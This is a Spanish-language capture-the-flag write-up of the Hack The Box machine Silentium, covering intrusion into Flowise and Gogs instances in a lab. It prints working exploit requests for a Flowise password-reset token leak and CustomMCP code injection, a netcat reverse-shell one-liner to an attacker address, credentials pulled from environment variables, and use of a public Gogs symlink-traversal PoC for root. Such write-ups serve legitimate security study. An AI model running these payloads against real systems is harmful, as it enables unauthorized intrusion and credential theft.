Silentium WriteUp

Tabla de contenido

Silentium WriteUp

Silentium es una máquina de dificultad 🟩 Fácil de la plataforma Hack The Box, Season 10. La cadena de ataque comienza enumerando subdominios para descubrir una instancia de Flowise 3.0.5, abusa de la filtración de tokens de reset de contraseña sin autenticación para acceder como administrador, inyecta código JavaScript a través del nodo CustomMCP para obtener RCE dentro de un contenedor Docker, extrae credenciales desde variables de entorno y escala a root explotando una vulnerabilidad de traversal con symlinks en Gogs v0.13.0.

🗺️ Cadena de Ataque

Reconocimiento → Puertos 22, 80
      │
      ▼
Enumeración de subdominios → staging.silentium.htb (Flowise 3.0.5)
      │
      ▼
CVE-2025-58434 → Token de reset filtrado → ben@silentium.htb → Admin Flowise
      │
      ▼
CVE-2025-59528 → CustomMCP code injection → RCE en contenedor Docker (root)
      │
      ▼
Variables de entorno → SMTP_PASSWORD=r04D!!_R4ge → SSH como ben
      │
      ▼
Puerto 3001 interno → Gogs v0.13.0 → CVE-2025-8110 (symlink traversal)
      │
      ▼
RCE como root en el host → root 🏴

🔍 Reconocimiento

Configuración de /etc/hosts

echo "10.129.33.247 silentium.htb" | sudo tee -a /etc/hosts

Escaneo de Puertos

Fase 1, Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv silentium.htb

Fase 2, Detección de versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv silentium.htb
PuertoServicioDetalle
22SSHOpenSSH 9.6p1 (Ubuntu)
80HTTPnginx 1.24.0 (Ubuntu)

Enumeración Web

El sitio principal http://silentium.htb muestra una web corporativa estática de gestión de activos. Podemos ver que existen 3 posibles usuarios (Marcus, Ben y Elena).

Silentium WriteUp

Enumeramos subdominios virtuales:

ffuf -ic -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://silentium.htb" -H "Host: FUZZ.silentium.htb" -fc 301
staging   [Status: 200, Size: 3142]

🎯 Encontramos staging.silentium.htb. Lo añadimos a /etc/hosts:

sudo sed -i 's/silentium.htb/silentium.htb staging.silentium.htb/' /etc/hosts

Al visitar http://staging.silentium.htb vemos la interfaz de Flowise 3.0.5, una plataforma de construcción de agentes de IA.

Silentium WriteUp

Enumeración de usuarios

La diferencia de respuesta entre usuarios existentes y no existentes en el endpoint de login nos permite enumerar, cuando un usuario no existe, se recibe la respuesta User Not found en cambio si existe Incorrect Email or Password:

🎯 El usuario ben@silentium.htb existe en el sistema.

💉 Acceso Inicial

CVE-2025-58434, Filtración de token de reset en Flowise

🧠 Flowise ≤ 3.0.12 expone el endpoint /api/v1/account/forgot-password que devuelve el objeto completo del usuario, incluyendo el token de reset de contraseña, sin requerir autenticación. La vulnerabilidad se activa añadiendo la cabecera x-request-from: internal a la petición, que omite los controles de autenticación.

Solicitamos el reset para ben@silentium.htb y capturamos el token:

curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -d '{"user":{"email":"ben@silentium.htb"}}'
{
  "id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
  "email": "ben@silentium.htb",
  "tempToken": "3EUlW37Q2asfL8EGS0jH3A2ngK6i3O3WTM0kkWWUbFjc5Zc6N3X651RuS2Nmkx1U",
  "resetPasswordExpires": "2026-04-17T18:30:00.000Z"
}

Usamos el tempToken para establecer una nueva contraseña:

curl -s -X POST http://staging.silentium.htb/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -d '{"user":{"email":"ben@silentium.htb","tempToken":"3EUlW37Q2asfL8EGS0jH3A2ngK6i3O3WTM0kkWWUbFjc5Zc6N3X651RuS2Nmkx1U","password":"1Qwerty!"}}'

✅ Acceso como administrador de Flowise con ben@silentium.htb:1Qwerty!.

CVE-2025-59528, Inyección de código en CustomMCP (CVSS 10.0)

🧠 Flowise ≥ 2.2.7-patch.1 y < 3.0.6 permite la ejecución de código JavaScript arbitrario a través del nodo CustomMCP. El parámetro mcpServerConfig se pasa sin sanitización al constructor Function() de Node.js, permitiendo a cualquier usuario autenticado ejecutar código en el servidor con los privilegios del proceso Flowise (root dentro del contenedor Docker).

Preparamos el listener:

penelope -p 8443

Flowise usa sesión con cookies. Hacemos login guardando la cookie y la reutilizamos en el exploit:

curl -s -X POST http://staging.silentium.htb/api/v1/auth/login \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -d '{"email":"ben@silentium.htb","password":"1Qwerty!"}' \
  -c cookies.txt

curl -s -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  -b cookies.txt \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.100 8443 >/tmp/f\");return 1;})()} )"}}'
[x] Command executed

En nuestro listener recibimos la conexión:

/ # id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/ # whoami
root
/ # hostname
c78c3cceb7ba

✅ RCE como root dentro del contenedor Docker.

🔑 Extracción de Credenciales, Variables de entorno

Desde el contenedor, listamos las variables de entorno en busca de credenciales:

env
FLOWISE_USERNAME=ben
FLOWISE_PASSWORD=F1l3_d0ck3r
SMTP_PASSWORD=r04D!!_R4ge
SMTP_HOST=mailhog
SENDER_EMAIL=ben@silentium.htb
JWT_AUTH_TOKEN_SECRET=AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD
DATABASE_PATH=/root/.flowise
PORT=3000
...

🔑 Credencial SSH encontrada: ben:r04D!!_R4ge

🔀 Movimiento Lateral, SSH como ben

ssh ben@silentium.htb # r04D!!_R4ge

🚩 User Flag

cat ~/user.txt

🧗‍♂️ Escalada de Privilegios, CVE-2025-8110

Enumeración interna

Desde la sesión SSH de ben, buscamos servicios internos:

ss -tlnp
LISTEN  0  128  127.0.0.1:3001  0.0.0.0:*

Tunelizamos el puerto para acceder desde Kali:

ssh -f -N -L 3001:127.0.0.1:3001 ben@silentium.htb

Al visitar http://127.0.0.1:3001 vemos Gogs v0.13.0, un servidor Git auto-alojado.

Silentium WriteUp

¿Qué es CVE-2025-8110?

🧠 Gogs ≤ v0.13.3 no valida correctamente los enlaces simbólicos al escribir ficheros en un repositorio. Un atacante autenticado puede crear un symlink que apunte a .git/config y usar la API PutContents para sobreescribir ese fichero a través del symlink. Inyectando una directiva core.sshCommand maliciosa, el comando se ejecuta la próxima vez que Gogs realiza operaciones Git internas con los privilegios del proceso, en este caso, root.

Explotación

Descargamos el PoC:

git clone https://github.com/zAbuQasem/gogs-CVE-2025-8110
cd gogs-CVE-2025-8110
pip install -r requirements.txt

💡 El script intenta registrar un usuario automáticamente, pero Gogs tiene CAPTCHA activado. Seguimos estos pasos manuales:

  1. Nos registramos en http://127.0.0.1:3001/user/sign_up con test:Password123!
  2. Generamos un API token en http://127.0.0.1:3001/user/settings/applications → Generate New Token
  3. Comentamos la llamada al registro en main() del script:

Silentium WriteUp

# register(session, args.url, username, password)   # comentado: registro manual
login(session, args.url, username, password)

Preparamos el listener:

penelope -p 8443

Ejecutamos el exploit apuntando al Gogs tunelizado:

python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.14.100 -lp 8443
[+] Exploit sent, check your listener!

En nuestro listener recibimos la shell:

root@silentium:~# id
uid=0(root) gid=0(root) groups=0(root)
root@silentium:~# hostname
silentium

✅ Shell de root en el host obtenida.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1ReconocimientonmapPuertos 22 y 80 (nginx)
2Enumeración de subdominiosffufstaging.silentium.htb → Flowise 3.0.5
3Enumeración de usuarioscurlben@silentium.htb identificado
4Token de reset filtradoCVE-2025-58434Acceso admin a Flowise
5RCE en DockerCVE-2025-59528 (CustomMCP)Shell como root en contenedor
6Extracción de credencialesenvben:r04D!!_R4ge desde variables de entorno
7Movimiento lateralsshAcceso como ben + User Flag 🚩
8Descubrimiento de Gogsss + SSH tunnelGogs v0.13.0 en puerto 3001 interno
9Symlink traversal + config injectionCVE-2025-8110 + curlSobreescritura de .git/config
10Escalada a rootGogs sshCommandShell como root + Root Flag 🏴

Un saludo, nos vemos en el próximo challenge.